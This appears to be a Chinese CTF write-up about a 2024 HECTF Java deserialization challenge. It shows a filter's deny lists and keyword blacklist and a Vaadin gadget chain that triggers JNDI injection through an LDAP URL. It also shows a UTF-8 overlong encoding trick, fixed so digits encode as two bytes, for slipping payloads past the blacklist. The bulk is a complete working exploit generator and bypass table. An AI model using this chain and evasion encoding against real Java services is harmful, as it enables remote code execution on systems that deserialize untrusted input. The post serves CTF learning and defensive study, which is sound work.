从HECTF学习完善一下现有utf8overlong

从2024HECTF学习完善现有的UTF8Overlong绕过脚本

image-20241209012151693

只有一个解

其实我看了两三个小时大致思路就清晰了,然后也向出题人请教了,思路是正确的

但是一直发不出请求

比赛结束后的又调试了一下发现是utf8overlong绕过脚本出了问题,请教了下出题人他说是因为数字的问题

解法

重写了resolveClass

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    String className = desc.getName().toLowerCase();
    String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "C3P0", "Jackson", "NestedMethodProperty", "TemplatesImpl"};
    String[] var4 = denyClasses;
    int var5 = denyClasses.length;

    for(int var6 = 0; var6 < var5; ++var6) {
        String denyClass = var4[var6].toLowerCase();
        if (className.contains(denyClass)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
        }
    }

    return super.resolveClass(desc);
}

这里挺严的,pojonode直接不能用了

看下依赖发现vaadin 上网发现存在反序列化链,正好存在toString

但是NestedMethodProperty也在黑名单中,所以只剩下vaadin新链子的jndi注入

Vaadin新反序列化链 - 首页|Aiwin

但是他还有个黑名单,校验的是Base64解码后的数据

image-20241209012921904

String[] blacklist = new String[]{"BadAttributeValueExpException", "Collections$UnmodifiableList", "PropertysetItem", "AbstractClientConnector", "Enum", "SQLContainer", "LinkedHashMap", "TableQuery", "AbstractTransactionalQuery", "J2EEConnectionPool", "DefaultSQLGenerator"};

明显是校验特征,由于之前听说过utf8overlong绕过,所以这里直接就想到了

问题

image-20241209013345160

然后在反序列化时就会报错

image-20241209013517171

为此就下断点,调试看看是哪里出错了

image-20241209013710378

下在蓝色那一行,然后一直快进,直到sbuf的值为rpcInterface后就抛出异常

解码一下我们的payload

image-20241209013911336

然后就下断点在报错点,看看具体是哪一个值抛出报错

image-20241209014046208

这里就是utf8overlong绕过的原理之处

没调试明白,根据出题人所说是数字原因,我们往utf8overlong脚本中把数字也用2 byte绕过

问了下gpt给出

image-20241209015006428

put('0', new int[]{0xc0, 0x30});
put('1', new int[]{0xc0, 0x31});
put('2', new int[]{0xc0, 0x32});
put('3', new int[]{0xc0, 0x33});
put('4', new int[]{0xc0, 0x34});
put('5', new int[]{0xc0, 0x35});
put('6', new int[]{0xc0, 0x36});
put('7', new int[]{0xc0, 0x37});
put('8', new int[]{0xc0, 0x38});
put('9', new int[]{0xc0, 0x39});

然后重复上面的调试方法

就可以发现导致报错的数字

image-20241209015621964

image-20241209015657895

可以看到,b1,b2就是我们填入map中的两个数

也就说明导致报错的原因是因为49(即0x31)也就是数字1

image-20241209015917574

解决问题

首先经过测试我们能够发现b2的0x后十位上的数字每增加4,结果是相同的

b2为0x31和0x71的结果相同,类推0xb1也相同

image-20241209020309419

image-20241209020328310

然后把他们与0xc0的结果打印出来

image-20241209021006870

发现0xb1满足我们的需求

所以更新数据即可

put('0', new int[]{0xc0, 0xb0});
put('1', new int[]{0xc0, 0xb1});
put('2', new int[]{0xc0, 0xb2});
put('3', new int[]{0xc0, 0xb3});
put('4', new int[]{0xc0, 0xb4});
put('5', new int[]{0xc0, 0xb5});
put('6', new int[]{0xc0, 0xb6});
put('7', new int[]{0xc0, 0xb7});
put('8', new int[]{0xc0, 0xb8});
put('9', new int[]{0xc0, 0xb9});

然后就能正常反序列化了

复现

import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;
import com.vaadin.ui.NativeSelect;
import sun.reflect.ReflectionFactory;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Base64;

public class Vaddin {
    public static void main(String[] args) throws SQLException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, IOException {

        J2EEConnectionPool j2EEConnectionPool=new J2EEConnectionPool("ldap://xxxxxx");
        Class<?>  table=Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery");
        TableQuery tableQuery= (TableQuery) createWithoutConstructor(table);

        setSuperValue(tableQuery,"connectionPool",j2EEConnectionPool);
        setSuperValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
        setSuperValue(tableQuery,"sqlGenerator",new DefaultSQLGenerator());

        Constructor<SQLContainer> sql=SQLContainer.class.getDeclaredConstructor();
        sql.setAccessible(true);
        SQLContainer sqlContainer=sql.newInstance();
        setSuperValue(sqlContainer,"queryDelegate",tableQuery);


        NativeSelect nativeSelect=new NativeSelect();
        RowId rowId=new RowId(new RowId("a"));
        setSuperValue(nativeSelect,"value",rowId);
        setSuperValue(nativeSelect,"items",sqlContainer);
        setSuperValue(nativeSelect,"multiSelect",true);


        PropertysetItem pItem=new PropertysetItem();
        pItem.addItemProperty("test",nativeSelect);

        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
        setSuperValue(badAttributeValueExpException,"val",pItem);
        byte[] bytes=serialize(badAttributeValueExpException);
        String s = Base64.getEncoder().encodeToString(bytes);
        System.out.println(s);
        byte[] decode = Base64.getDecoder().decode(s);
        unserialize(decode);

    }
    public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();
    }
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
//        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        ObjectOutputStream objectOutputStream=new UTF8OverlongObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static <T>Object createWithoutConstructor(Class<?> classToInstantiate) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(classToInstantiate,Object.class,new Class[0],new Object[0]);
    }
    public static <T>T createWithoutConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Constructor<?> objCons=constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> constructor= ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate,objCons);
        constructor.setAccessible(true);
        return (T) constructor.newInstance(consArgs);
    }

    public static Object InvokeMethod(Object object, String name) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Method method=object.getClass().getDeclaredMethod(name);
        method.setAccessible(true);
        method.invoke(object);
        return object;
    }
    public static void setFieldValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=object.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(object,value);
    }

    public static void setSuperValue(Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=getField(object.getClass(),name);
        field.setAccessible(true);
        field.set(object,value);
    }

    private static Field getField(Class<?> clazz, String fieldName) {
        while (clazz != null) {
            try {
                return clazz.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }

}

image-20241209021357955

image-20241209021307341

其他

在找utf8overlong脚本时也发现个UTF8BytesMix脚本,看了下也能进行混淆

image-20240311100317285

byte[] mixBytes = new UTF8BytesMix(bytes).builder();
String s = Base64.getEncoder().encodeToString(mixBytes);
System.out.println(s);
byte[] decode = Base64.getDecoder().decode(s);
unserialize(decode);

纠正上面说的问题出现的原因

发布文章后觉得问题出现原因不太对,因为毕竟49报错是因为我自己赋值的原因。。所以添加一段纠错说明

还是实实在在地跟进看看

image-20241209142504756

这里一直跟进到报错,最后一个数是-92

Integer.toHexString(-92&0xff)

image-20241209142632750

然后010去找a4(当然知道-92是最后一个数,我们也可以把前面的数一步一步转换,得到报错前的具体位置

image-20241209142824354

在蓝标这里

此时的cbuf为com.vaadin.ui.NativeSelect$

然后一步一步走,就会发现读取了单个字符88(即0x58,也就是X

image-20241209135629029

然后继续读取2 byte,但是246(即F6,无法解析抛出异常

image-20241209140055410

image-20241209140109851

010对比一下能否成功的两个文件

image-20241209142001717

发现区别在于C0 B1,即我们手动写入的数字1

看看原生序列化的结果

image-20241209144512513

就应该有1

网上的utf8脚本无法成功就是因为序列化时数字没有被成功写入

当我们把数字也加入后,再次调试就会发现读取了1后就返回,不再读取,就遇不到F6的错误

image-20241209143954645


从HECTF学习完善一下现有utf8overlong
https://zer0peach.github.io/2024/12/09/从HECTF学习完善一下现有utf8overlong/
作者
Zer0peach
发布于
2024年12月9日
许可协议